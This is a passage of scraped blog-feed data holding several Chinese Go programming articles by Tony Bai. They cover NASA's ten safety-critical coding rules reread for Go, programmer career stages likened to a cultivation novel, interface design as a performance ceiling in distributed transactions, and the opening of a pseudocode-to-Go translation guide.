会制造出难以追踪的“意大利面条式代码”，而无限递归则会导致栈溢出。\nGo视角下的“新意”：\nGo 保留了 goto，但社区共识是“能不用就不用”。而 setjmp/longjmp 的现代对应物——panic/recover，Go 官方也明确指出它应用于处理真正的“异常”情况（如程序内部出现不可恢复的错误），而非用作常规的控制流。这条规则在 Go 中的新解读是：严格区分错误处理与异常处理，不要滥用 panic 来替代错误返回。\n此外，禁止递归对于 C 来说是防止栈耗尽的极端手段。Go 同样有栈大小限制，但盲目禁止递归会扼杀语言的表达力。拥抱递归的简洁性，但必须确保它是“有界”的。对于可能导致深度递归的场景（如处理不受信任的树形结构），应优先选择循环/迭代实现，或设置明确的深度限制，防止栈溢出攻击。\n规则 2：所有循环必须有固定的上界 C 语言的意图： 防止“死循环”和失控的计算，确保程序的可终结性。\nGo视角下的“新意”：\n这条规则在 Go 中有了更广阔的内涵。除了传统的 for 循环，Go 的核心是并发。一个失控的 goroutine 就是一个现代版的“死循环”，它会悄无声息地泄露资源，直至系统崩溃。\n此外，所有 goroutine 必须有明确的、可预测的生命周期和退出机制。context.Context 包就是这项规则在 Go 中的最佳实践。通过 context 的取消信号，我们可以为一组 goroutine 设置“上界”，确保它们在任务完成或超时后能被优雅地终止。\n// 通过 context 为 goroutine 设置了生命周期的“上界” func worker(ctx context.Context) { for { select { case \u0026lt;-ctx.Done(): // 收到取消信号，循环终止 return default: // do work } } } 规则 3：禁止在初始化后使用动态内存分配 (malloc) C 语言的意图： 避免由 malloc/free 带来的内存碎片、内存泄漏、以及不确定的执行时间（分配内存的耗时是不可预测的），这在硬实时系统中是致命的。\nGo视角下的“新意”：\nGo 是一门自带垃圾回收 (GC) 的语言，动态内存分配是其常态。完全禁止动态分配等于废弃了 Go。但是，这条规则的灵魂——追求性能的确定性——依然至关重要。\n在系统的核心热点路径上，追求零或低内存分配。GC 的 STW (Stop-The-World) 停顿对于延迟敏感的关键服务是主要挑战。因此，我们应该：\n预分配内存： 在初始化时，使用 make 创建容量充足的 slice 和 map。 重用对象： 对于高频创建的临时对象，使用 sync.Pool 来复用，避免给 GC 带来压力。 性能分析： 使用 pprof 工具持续监控代码的内存分配情况，并进行优化。 规则 4：函数长度不应超过一页纸（约 60 行） C 语言的意图： 保证函数作为一个逻辑单元易于理解、审查和测试。\nGo视角下的“新意”：\n这简直就是为 Go 量身定做的规则！Go 社区极度推崇小函数、小接口、组合优于继承的哲学。这条规则在今天依然是金科玉律。坚持 Go 的惯例 (idiom)。一个函数只做一件事，并把它做好。这不仅让代码更易读，也极大地简化了单元测试的编写。\n规则 5：断言密度应至少为平均每函数两个 C 语言的意图： 使用断言进行“防御性编程”，在开发和测试阶段尽早暴露不满足前置/后置条件和不变量的异常情况。\nGo视角下的“新意”：\nGo 没有内置的 assert 机制，而是将这种“断言”思想融入到了其核心的错误处理模型中。\n每个函数都必须是“防御性”的，并通过显式错误处理来体现。\n入口断言： 在函数开头检查传入的参数是否合法。 过程断言： 对调用的每个函数返回的 error 进行检查，这正是 Go 最“著名”的 if err != nil 模式。 单元测试： Go 的单元测试是现代化的、更强大的“断言”系统，用于验证函数在各种输入下的行为是否符合预期。 规则 6：数据声明应在尽可能小的作用域内 C 语言的意图： 限制变量的生命周期和可见性，减少意外修改的风险，支持“数据隐藏”原则。\nGo视角下的“新意”：\nGo 的语法设计天然地鼓励这一点。例如，下面if 语句的初始化子句就是这条规则的完美体现：\n// val 和 err 的作用域被严格限制在 if-else 块内 if val, err := someOperation(); err != nil { // handle error } else { // use val } 充分利用 Go 的语法特性来最小化作用域。避免使用包级别的全局变量，优先在函数或代码块内部声明变量。\n规则 7：必须检查非 void 函数的返回值 C 语言的意图： 强制开发者处理函数可能失败的情况，避免忽略错误码导致程序在后续执行中出现未定义行为。\nGo视角下的“新意”：\n这正是 Go 语言错误处理哲学的基石。Go 通过多返回值将 error 作为一等公民，强制开发者直面每一个可能的失败。将 go vet 和 staticcheck 等静态检查工具集成到你的 CI/CD 流程中。虽然编译器不强制检查 error，但这些工具能自动标记出被忽略的错误返回值，从而在实践中强制遵守此规则。\n规则 8：限制预处理器的使用 C 语言的意图： C 的预处理器（宏）非常强大，但也极易写出难以理解、调试和静态分析的“魔法”代码。\nGo视角下的“新意”：\nGo 语言从设计上就彻底移除了预处理器，可谓是“釜底抽薪”。警惕那些“类似预处理器”的现代陷阱。虽然没有宏，但过度使用 interface{}（空接口）、复杂的代码生成、或晦涩的 reflect 操作，同样会牺牲代码的类型安全和可读性。追求代码的清晰、直白，是这条规则在 Go 中的精神延续。\n规则 9：限制指针的使用 C 语言的意图： C 的指针功能强大但危险，指针算术、多级解引用、函数指针等极易导致内存错误和难以追踪的控制流。\nGo视角下的“新意”：\nGo 对指针进行了“阉割”和“驯化”：它保留了指针的传址能力，但移除了指针算术，并拥有类型安全的函数值。\n我们尽量保持数据结构扁平化，审慎使用接口和函数值，包括：\n避免不必要的多级指针（如 ***T），这通常是设计过于复杂的信号。 虽然函数值和接口是类型安全的，但它们代表了动态分派，会使代码的控制流在静态时变得不那么明确。在性能和安全要求极高的场景下，直接的函数调用和具体类型总是更清晰、更易于分析。 规则 10：编译时开启所有警告，并使用静态分析工具 C 语言的意图： 借助编译器的全部能力和第三方工具，在代码写下后尽早发现潜在问题，将 bug 扼杀在摇篮里。\nGo视角下的“新意”：\n这条规则已深深融入 Go 的开发文化中。go build 本身就很严格（例如，不允许未使用的变量），go fmt 统一代码风格，go vet 检查可疑构造。将静态分析提升到“发布准入”的强制标准。在你的项目中，集成众多强大linter工具的golangci-lint 不应只是一个建议，而应成为 CI 流程中一个不可绕过的、零容忍的检查门禁。\n小结：永恒的简约与可靠 重温 NASA 的这十条法则，我们发现，尽管技术日新月异，但构建可靠软件的底层逻辑惊人地一致：追求代码的简单、可预测和可验证性。\nGo 语言的设计哲学——简单、明确、组合——在很大程度上与这些“诫律”的精神不谋而合。它用 context 重新诠释了“有界循环”，用 if err != nil 实现了“防御性断言”，用整个语言的设计废除了“预处理器”的魔咒。\n这些来自深空探索的古老智慧，在 Go 的视角下并未褪色。相反，它们为我们提供了一把标尺，帮助我们衡量自己的代码是否足够健壮，是否能承担起“关键任务”的重任。下一次，当你编写一个核心服务时，不妨用这十条法则审视一下你的代码——你可能会有全新的发现。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/09/the-power-of-ten-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-power-of-ten-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/09/the-power-of-ten-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/09/the-power-of-ten-in-go\"\u003ehttps://tonybai.com/2025/09/09/the-power-of-ten-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程领域，有些智慧是永恒的。\u003c/p\u003e\n\u003cp\u003e2006 年，NASA/JPL（喷气推进实验室）的 Gerard J. Holzmann 公布了其团队用于开发\u003cstrong\u003e安全关键 (Safety-Critical)\u003c/strong\u003e 软件的十条黄金法则——“\u003ca href=\"https://spinroot.com/gerard/pdf/P10.pdf\"\u003eThe Power of Ten: Rules for Developing Safety-Critical Code\u003c/a\u003e”。这些规则诞生于 C 语言主导的嵌入式世界，旨在为火星车、深空探测器等“不容有失”的系统构建坚不可摧的代码基石。\u003c/p\u003e","title":"NASA的十大编码“诫律”：Go视角的全新解读"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/08/fanren-xiuxian-programmer-levels\n大家好，我是Tony Bai。\n最近《凡人修仙传》的电视剧大火，想必各位道友都有耳闻。鄙人也没忍住，不仅刷完了杨洋主演的网剧，还趁着这股热乎劲儿，一口气在微信读书连读再听地补完了小说的人界篇。\n当看到韩立资质平平，相貌普通，却凭着“小绿瓶”、远超常人的心智和不懈的努力，在残酷的修仙界中，历经炼气、筑基、结丹、元婴，终至化神时，我猛然拍案：\n这不就是我们程序员升级打怪的真实写照吗？！\n仔细一想，还真是如此。在这“码农”修仙界，人人皆望飞升，脱离 CRUD 的苦海，证得架构大道。韩天尊从一介凡人，在人界一步步逆天修行；我们则从一行“Hello World”开始，在代码的世界里摸爬滚打。从初窥门径到执掌乾坤，其间的艰辛与突破，又何尝不是一场惊心动魄的修行？\n今日，不妨让我们借韩天尊的人界飞升之路，一同探寻这程序员的修仙境界。看看你我，如今身在何处，又该如何“破境”飞升。\n第一境：炼气期 – 程序员学徒 炼气期 此境界的修士初入仙门，刚刚感应到“天地灵气”（编程语言），开始学习吐纳之法（基础语法）。灵力微薄，法术生疏，面对浩如烟海的功法秘籍（API文档），常常感到力不从心，一不小心就可能“走火入魔”（写出 Bug）。\n境界特征： 初窥门径，灵力微薄： 刚掌握一门或多门“功法”（Java/Python/Go），但理解不深。能写出基础的业务逻辑，但对底层原理一知半解，如同只会念咒却不知其所以然。 修炼功法，打牢根基： 每日勤修不辍，疯狂“吸收灵石”（看文档、刷 LeetCode、学习框架）。主要任务是完成导师（Mentor）分配的“宗门任务”（小功能、Bug修复），以此换取修炼资源。 依赖法器，难离其身： 严重依赖各种“低阶法器”，如 Stack Overflow、CSDN 和各类 AI 代码助手。一旦“法器”失灵（断网），便束手无策，战力大减。 心魔与瓶颈： 最大的心魔是“我是不是不适合写代码”的自我怀疑。常常会遇到“瓶颈”，一个简单的 Bug 可能要耗费数日才能解决，此时急需一颗“筑基丹”（高人指点）方能突破。 第二境：筑基期 – 合格的工程师 筑基期 经历无数次“走火入魔”后，终于炼化灵气，开辟丹田，成功“筑基”，体内的“灵力”（知识体系）凝聚成形。从此，你不再是修仙界的炮灰，而是一名真正的修士，可以独立执行任务，在宗门（团队）中有了一席之地。\n境界特征： 筑基成功，道途有望： 能够独立负责一个模块或一条业务线。对团队的技术栈了如指掌，是项目的中坚力量，道基稳固。 拥有本命法器： 不再是见什么用什么，而是有了自己得心应手的“本命法器”（精通的框架或工具链），如 Spring 全家桶、Vue/React 生态。使用起来得心应手，威力倍增。 神识初成，洞察秋毫： 开始具备一定的“神识”（Code Review 能力和设计嗅觉），能发现炼气期修士代码中的明显问题，并预见一些潜在的风险，如同神识外放，探查四周。 独立执行宗门任务： 可以独立外出执行有一定难度的“宗门任务”（负责一个完整需求），并能顺利归来，不再需要师兄寸步不离地看护。 第三境：结丹期 – 资深工程师 / 技术骨干 结丹期 此乃修行路上的巨大分水岭。修士将全身修为压缩、凝练，在丹田内结成一颗“金丹”（核心技术壁垒）。从此，寿元大增（职业生涯更稳定），神通广大，成为宗门里受人敬仰的长老级人物。\n境界特征： 凝结金丹，质的飞跃： 在某一领域（如高并发、分布式、数据库优化）形成了自己深厚的知识体系和方法论，这便是你的“金丹”。你是这个领域的 Go-to Person，是众人眼中可靠的“X哥”、“X姐”。 本命法宝，威力大增： 不再满足于使用“法器”，开始炼制自己的“法宝”（轮子、工具库、脚手架），供宗门内弟子使用，极大提升了整个团队的战斗力。 开辟洞府，传道授业： 开始承担起“长老”的职责，为宗门“开辟洞府”（搭建技术分享平台），“传道授业”（指导新人、进行技术培训），培养后辈力量，扩大自己的影响力。 阵法大师，布局为先： 对小型系统的架构设计信手拈来，如同布置“阵法”，懂得权衡取舍，让系统在未来一段时间内稳固运行，易于扩展。 第四境：元婴期 – 架构师 / 首席工程师 元婴期 碎丹成婴，道行进入全新天地。修士的“元婴”可以出窍，神游天外，对“天地法则”（系统规律）的理解远超常人。他们是宗门的守护神，轻易不出手，但一言一行都足以影响宗门的兴衰。\n境界特征： 元婴出窍，神游天外： 视角早已超越某个具体项目或业务线。他们的“元婴”（思想和影响力）可以“出窍”，俯瞰整个公司的技术体系，思考跨团队、跨领域的平台级问题。 参悟天地法则： 深入理解分布式、高可用、可扩展性等“天地法则”。他们关注的不再是“术”（具体实现），而是“道”（设计哲学与原则），能在纷繁复杂的需求中，找到最核心的技术模型。 开宗立派，影响一方： 他们设计的“护山大阵”（核心技术架构、平台），能支撑公司未来数年的发展。他们制定的“门规”（技术规范、研发流程），被众多弟子遵守，深刻影响着整个技术团队的文化和效率。 趋吉避凶，未卜先知： 具备强大的技术预判能力，能洞察技术趋势，规避未来的技术债务和架构风险，带领宗门走在正确的“修行”道路上，避免误入歧途。 第五境：化神期 – 技术大牛 / 领域开拓者 化神期 此境界已是人界的传说，神龙见首不见尾。他们对“道”的理解已返璞归真，能够洞悉本源，甚至创造规则。他们的存在，本身就是一座无法逾越的高山，是无数修士仰望的目标。\n境界特征： 返璞归真，大道至简： 他们的言论和代码往往看起来平平无奇，却蕴含着对技术最深刻的理解。能用最简单的语言解释最复杂的原理，如同“大道至简”，一言一行皆是道法自然。 言出法随，创造规则： 他们不再是规则的遵守者，而是规则的创造者。他们创造的某个开源框架（如 K8s, TensorFlow）、某篇论文（如 MapReduce, DynamoDB），可能开创一个时代，成为无数修士修行的“根本大法”。 破碎虚空，飞升上界： 他们的影响力早已超越一家公司，成为整个行业的灯塔。他们可能在顶级技术会议上“讲道”，也可能在某个开源社区中“点化”众生。对他们而言，换个公司已不是“跳槽”，而是“破碎虚空”，去往另一个更广阔的世界（灵界）。 小结：路漫漫其修远兮 修仙之路，道阻且长，行则将至。\n从炼气期的迷茫，到筑基期的坚定；从结丹期的突破，到元婴期的洞察，乃至化神期的传说。每一个境界，都离不开日复一日的“打坐”（学习）、一次又一次的“渡劫”（攻克难题），以及那么一点点“机缘”（好的项目和团队以及赛道）。\n韩立资质平平，却凭着“勤奋”与“谨慎”二字，终成大道。我辈程序员，或许没有逆天资质，但只要心向大道，勤勉不怠，终有一日，也能突破瓶颈，得见真我。\n那么，各位道友，你现在修炼到哪个境界了？在修行路上又遇到了哪些瓶颈或趣事？欢迎在评论区留下你的“道号”和境界，我们一同论道！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/08/fanren-xiuxian-programmer-levels/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/fanren-xiuxian-programmer-levels-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/08/fanren-xiuxian-programmer-levels\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/08/fanren-xiuxian-programmer-levels\"\u003ehttps://tonybai.com/2025/09/08/fanren-xiuxian-programmer-levels\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近《凡人修仙传》的电视剧大火，想必各位道友都有耳闻。鄙人也没忍住，不仅刷完了杨洋主演的网剧，还趁着这股热乎劲儿，一口气在微信读书连读再听地补完了小说的人界篇。\u003c/p\u003e","title":"从《凡人修仙传》看程序员境界：道友，你修炼到哪一层了？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/07/the-power-of-an-interface-for-performance\n我的《Go语言第一课》已上市，赠书活动正在进行中，欢迎点击此链接参与。\n大家好，我是Tony Bai。\n我们通常如何看待性能优化？答案往往是：更快的算法、更少的内存分配、更底层的并发原语、甚至用SIMD指令压榨CPU的每一个周期。我们痴迷于“引擎盖之下”的实现细节，坚信更好的代码和更强的硬件能带来更高的性能。\n然而，TigerBeetle数据库创始人Joran Dirk Greef在Strange Loop上的一场精彩的演讲(https://www.youtube.com/watch?v=yKgfk8lTQuE)，用一场耗资百万美元的数据库比赛，颠覆了这一传统认知。他通过无可辩驳的基准测试数据证明：在分布式系统中，接口（Interface）的设计，而非代码实现或硬件堆砌，才是决定性能上限的真正瓶颈。\n在深入探讨之前，我们必须对本文的“接口”一词进行关键澄清。对于Go开发者而言，“接口”通常指代语言层面的interface类型，一种实现行为契约以及多态的工具。但本文中所说的“接口”，则是一个更宏观、更广义的概念，它指的是系统与系统之间、或用户与系统之间进行通信的交互模式、契约与协议。你的REST API设计、gRPC的.proto文件、微服务间的调用时序，都属于这个“广义接口”的范畴。\n这场演讲虽然以数据库为载体，但其揭示的“接口即天花板”的原理，对于每一位设计和使用Go API、微服务的工程师来说，都无异于一声惊雷。它迫使我们重新审视，我们日常构建的系统，是否在设计之初，就已为自己埋下了无法逾越的性能枷锁。\n赛场设定：一场关于“转账”的终极对决 Greef的实验设计极其巧妙，他回归了OLTP（在线事务处理）的本质，重拾了图灵奖得主Jim Gray定义的最小交易单元：“借贷记”（Debit-Credit），即我们熟知的“转账”操作。\n这个工作负载的核心是：在两个账户之间转移价值，并记录一笔历史。它的关键挑战在于竞争（Contention）。在高流量的真实世界系统中，总会有大量的交易集中在少数“热门”账户上，这就是帕累托法则（80/20原则）的体现。\n传统接口：交互式事务 大多数通用数据库处理这种事务的标准接口是“交互式”的，即一个业务操作需要多次网络往返才能完成：\n第一步（读）：客户端发起一个网络请求，SELECT Alice和Bob的账户余额。\n第二步（计算）：数据返回到客户端，应用代码在本地检查余额是否充足。\n第三步（写）：客户端发起第二个网络请求，在一个事务中UPDATE两个账户的余额，并INSERT一条转账记录。\n这个看似天经地义的流程，隐藏着一个致命的缺陷。\n百万美元的“滑铁卢”：当硬件和实现都失灵 Greef设立了三组“选手”来进行一场性能对决：\nPostgres (单机): 经典的、备受尊重的开源数据库。 “迈凯伦” (16节点集群): 一个匿名的、顶级的云原生分布式数据库，年费超过一百万美元。 TigerBeetle: Greef自己设计的、专为OLTP优化的新一代数据库。 比赛结果令人瞠目结舌：\n在零竞争下，“迈凯伦”集群的性能甚至不如单机Postgres。 随着竞争率提升，16台机器的“迈凯伦”性能暴跌，甚至出现了节点越少、性能越高的荒谬情况。 在整个高竞争测试期间，这百万美元硬件的CPU利用率从未超过12%。 为什么？ 硬件在空转，代码在等待。钱，并没有买来性能。\n性能的枷锁：跨网络持有锁 问题的根源，就出在那个“交互式事务”的接口设计上。\n当一个事务开始时，数据库为了保证ACID，必须锁定被操作的行。在这个接口模型中，锁的持有时间 = 数据库处理时间 + 两次网络往返（RTT）的时间 + 客户端应用的处理时间。\nGreef指出，数据库内部的处理时间可能是微秒级的，但一次跨数据中心的网络往返，轻易就是几十甚至上百毫秒。这意味着，数据库中最宝贵的锁资源，其生命周期被廉价且缓慢的网络I/O牢牢绑架了。\n阿姆达尔定律的诅咒 这完美地印证了阿姆达尔定律：系统的总性能，取决于其串行部分的速度。在这个场景中，“跨网络持有锁”就是那个不可并行的、绝对的串行瓶颈。\n当网络延迟为1ms，竞争率为10%时，即使你的数据库是无限快的，理论性能上限也只有10,000 TPS。 当网络延迟上升到10ms，这个上限会骤降到1,000 TPS。 无论你增加多少台机器（水平扩展），都无法打破这个由接口设计决定的物理定律。\n对Go API和系统设计的深刻启示 这场数据库之战，对我们Go开发者来说，是一面镜子。我们必须审视自己日常的设计，是否也在不经意间构建了类似的“性能枷锁”。\n1. 警惕你的Go API是否“跨网络持有锁” 在微服务架构中，一个常见的反模式是“编排式事务”。想象一个创建订单的流程：\n// 反模式：一个跨多个网络调用、持有远端锁的接口 func CreateOrder(ctx context.Context, userID, productID int) error { // 步骤1：锁定库存 (通过RPC调用库存服务) lock, err := inventoryService.LockStock(ctx, productID, 1) if err != nil { return err } // 注意：从此刻起，该商品的库存在inventoryService中被锁定！ // 步骤2：扣减用户余额 (通过RPC调用账户服务) err = accountService.Debit(ctx, userID, product.Price) if err != nil { inventoryService.UnlockStock(ctx, lock.ID) // 必须记得解锁 return err } // 步骤3：创建订单记录 // ... // 成功！最后解锁库存 return inventoryService.UnlockStock(ctx, lock.ID) } 这个CreateOrder函数，在其执行期间，跨越了多次网络调用，却一直持有着库存服务的锁。这与Postgres的交互式事务犯了完全相同的错误。这个糟糕的接口设计决定了系统的性能上限。\n2. TigerBeetle的解决方案：重新定义接口 TigerBeetle的接口设计哲学截然不同。它不接受交互式的、一次一笔的事务。取而代之的是：\n批处理 (Batching): 客户端将成千上万个“转账”意图打包成一个大的请求。\n一次性提交 (One-Shot Commit): 将这个大包一次性发送给数据库。\n异步处理: 数据库在内部高效地处理这个批次，然后一次性返回所有结果。\n在这个模型中，网络延迟只发生一次，且与锁的持有时间完全解耦。\n3. 转化为Go的设计模式： 我们可以将TigerBeetle的思想应用到我们的Go服务设计中，重新定义我们的“接口”：\n使用异步消息传递：CreateOrder服务不应直接调用其他服务并等待。它应该发布一个OrderCreationRequested事件到消息队列（如NATS或Kafka）。后续的服务订阅此事件，并以异步、解耦的方式处理各自的逻辑（通常需要Saga等模式保证最终一致性）。 设计“意图驱动”的API：不要创建需要多次交互才能完成一个业务流程的API。取而代之，设计一个能接收完整“业务意图”的API。例如，提供一个/orders/batch_create端点，让客户端一次性提交多个订单创建的请求。 将状态检查移至服务端：与其让客户端先读数据再决定如何写，不如提供一个API，让客户端直接声明它的意图，由服务端在一个原子操作内完成“检查并写入”。 小结 Joran Greef的演讲最终以TigerBeetle在高竞争下，性能达到Postgres数千倍的结果震撼全场。这并非因为TigerBeetle的代码实现比Postgres好了几个数量级，而是因为它的接口设计从根本上绕开了阿姆达尔定律的诅咒。\n对于Go开发者，这场演讲的启示也是深远的：\n性能瓶颈往往在白板上就已注定：在你写下第一行代码之前，你的API设计、服务间的交互模型，可能已经为你的系统设定了无法逾越的性能天花板。 减少网络往返，尤其是持有锁的往返，是性能优化的第一要务。 拥抱批处理和异步化：这是打破“一次交互一件事”思维定势、实现数量级性能提升的关键。 下一次，当你面对性能问题时，与其一头扎进pprof的火焰图，试图优化某个函数的CPU占用，不如先退后一步，审视你的系统和API的接口设计。或许，那个锁住你系统性能的真正枷锁，并非隐藏在代码的细枝末节里，而是明晃晃地写在你的设计文档的第一页。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/07/the-power-of-an-interface-for-performance/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/the-power-of-an-interface-for-performance-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/07/the-power-of-an-interface-for-performance\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/07/the-power-of-an-interface-for-performance\"\u003ehttps://tonybai.com/2025/09/07/the-power-of-an-interface-for-performance\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我的《\u003ca href=\"https://mp.weixin.qq.com/s/l3t2B_QAKC4whwhmhNo4Fw\"\u003eGo语言第一课\u003c/a\u003e》已上市，赠书活动正在进行中，欢迎\u003ca href=\"https://mp.weixin.qq.com/s/Hzyi7TminudVb2-cLzXC2A\"\u003e点击此链接\u003c/a\u003e参与。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e我们通常如何看待\u003ca href=\"https://tonybai.com/2025/08/26/go-concurrency-cost-hierarchy\"\u003e性能优化\u003c/a\u003e？答案往往是：更快的算法、更少的内存分配、更底层的并发原语、甚至用\u003ca href=\"https://tonybai.com/2025/08/22/go-simd-package-preview\"\u003eSIMD指令\u003c/a\u003e压榨CPU的每一个周期。我们痴迷于“引擎盖之下”的实现细节，坚信更好的代码和更强的硬件能带来更高的性能。\u003c/p\u003e\n\u003cp\u003e然而，TigerBeetle数据库创始人Joran Dirk Greef\u003ca href=\"https://www.youtube.com/watch?v=yKgfk8lTQuE\"\u003e在Strange Loop上的一场精彩的演讲\u003c/a\u003e(\u003ca href=\"https://www.youtube.com/watch?v=yKgfk8lTQuE\"\u003ehttps://www.youtube.com/watch?v=yKgfk8lTQuE\u003c/a\u003e)，用一场耗资百万美元的数据库比赛，颠覆了这一传统认知。他通过无可辩驳的基准测试数据证明：\u003cstrong\u003e在分布式系统中，接口（Interface）的设计，而非代码实现或硬件堆砌，才是决定性能上限的真正瓶颈。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e在深入探讨之前，我们必须对本文的“接口”一词进行关键澄清。对于Go开发者而言，“接口”通常指代语言层面的interface类型，一种实现行为契约以及多态的工具。但\u003cstrong\u003e本文中所说的“接口”，则是一个更宏观、更广义的概念\u003c/strong\u003e，它指的是系统与系统之间、或用户与系统之间进行通信的\u003cstrong\u003e交互模式、契约与协议\u003c/strong\u003e。你的REST API设计、gRPC的.proto文件、微服务间的调用时序，都属于这个“广义接口”的范畴。\u003c/p\u003e","title":"为什么说“接口”，而非代码或硬件堆砌，决定了系统的性能上限？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/06/gopher-pseudocode-translation-guide\n大家好，我是Tony Bai。\n你是否曾在阅读顶会论文时，感觉其中的算法描述像一本晦涩难懂的**“天书”**？那些看不太懂的数学符号、奇特的箭头和看似代码又无法编译的语句(如下图)，是不是常常让你望而却步，感叹理论与实践之间隔着一道鸿沟？\n别担心，这不是你的问题。你遇到的正是连接学术象牙塔与工程世界的桥梁——伪代码 (Pseudocode)。它并非一门具体的编程语言，而是算法世界的“通用语” (Lingua Franca)，旨在剥离所有语言特定的语法噪音，只保留逻辑的纯粹核心。\n对于我们工程师而言，掌握伪代码的阅读技巧，就像是学会了一门新的**“翻译”**艺术。这门艺术能让你直接与算法设计者的思想对话，将世界上最聪明的头脑的智慧，转化为你手中坚实、高效的主流编程语言的代码。\n本文就是你的学术伪代码“翻译”指南。我们将从最基础的符号“字母表”开始，探索不同风格的伪代码“文体”，通过完整的“翻译”实战，让你最终不仅能读懂，更能欣赏伪代码之美，并自信地将任何算法“天书”都转化为优雅的编程语言实现(本文将以Go语言为例)。\n罗塞塔石碑 —— 破译伪代码的核心符号 任何翻译工作都始于对基本词汇的掌握。伪代码的符号系统虽然看似五花八门，但其核心元素却非常稳定。让我们一同来构建我们的“罗塞塔石碑”，将最常见的伪代码符号与 Go 语言进行映射。\n1. 赋值操作: ← (The Left Arrow) 这是伪代码最具标志性的符号，代表赋值。\n伪代码: max_val ← A[0] i ← 1 为什么用 ← 而不是 =? 为了在学术上严格区分赋值 (Assignment) 和 相等判断 (Equality Test)。在算法和数学语境中，= 通常是逻辑断言，表示“等于”。← 则清晰地表达了“将右边的值赋予左边变量”这一 动作，杜绝了歧义。\nGo “译文”: maxVal := A[0] // 声明并赋值 i := 1 // 或使用 = 进行二次赋值 2. 循环结构: for, while, repeat-until 计数循环 (for … to … do)\n伪代码: for i ← 1 to n do // 对 A[i] 进行操作 * **Go “译文”:** 注意！这是最常见的陷阱之一！ 伪代码的数组索引习惯于从 1 开始（数学惯例），而 Go 从 0 开始。\n// 伪代码的 1 to n 对应 Go 的 0 to n-1 for i := 0; i \u0026lt; n; i++ { // 操作 A[i] } // 如果逻辑强依赖于 1-based 索引，需手动调整 for i := 1; i \u0026lt;= n; i++ { // 操作 A[i-1] } 遍历循环 (for each … in …)\n伪代码: for each item in S do print(item) * **Go “译文”:** 完美对应 for-range。 go for _, item := range S { fmt.Println(item) } 3. 条件判断: if-then-else 伪代码: if x \u0026gt; y then max_val ← x else max_val ← y Go “译文”: 结构相同，只是去掉了 then。 go if x \u0026gt; y { maxVal = x } else { maxVal = y } 4. 逻辑与数学符号 这是让代码“数学味”变浓的地方，但本质只是运算符的另一种写法。\n逻辑运算符: ∧ (与, \u0026amp;\u0026amp;), ∨ (或, ||), ¬ (非, !)\n比较运算符: = (等于, ==), ≠ (不等于, !=)\n集合运算符: ∈ (属于), ∉ (不属于), ⊂ (是…的子集), ∪ (并集), ∩ (交集)\n伪代码:\nif (i \u0026lt; n) ∧ (A[i] ≠ target) then i ← i + 1 Go “译文”: go if (i \u0026lt; n) \u0026amp;\u0026amp; (A[i] != target) { i++ } 5. 函数与返回值: function, procedure, return 伪代码使用 function 或 procedure 关键字来定义一个可重用的逻辑块。通常，function 暗示着有返回值，而 procedure 可能没有。return 关键字用于明确地从函数中返回一个或多个值。\n伪代码: function FIND-MAX(A, n) max_val ← A[1] for i ← 2 to n do if A[i] \u0026gt; max_val then max_val ← A[i] return max_val Go “译文”: 在 Go 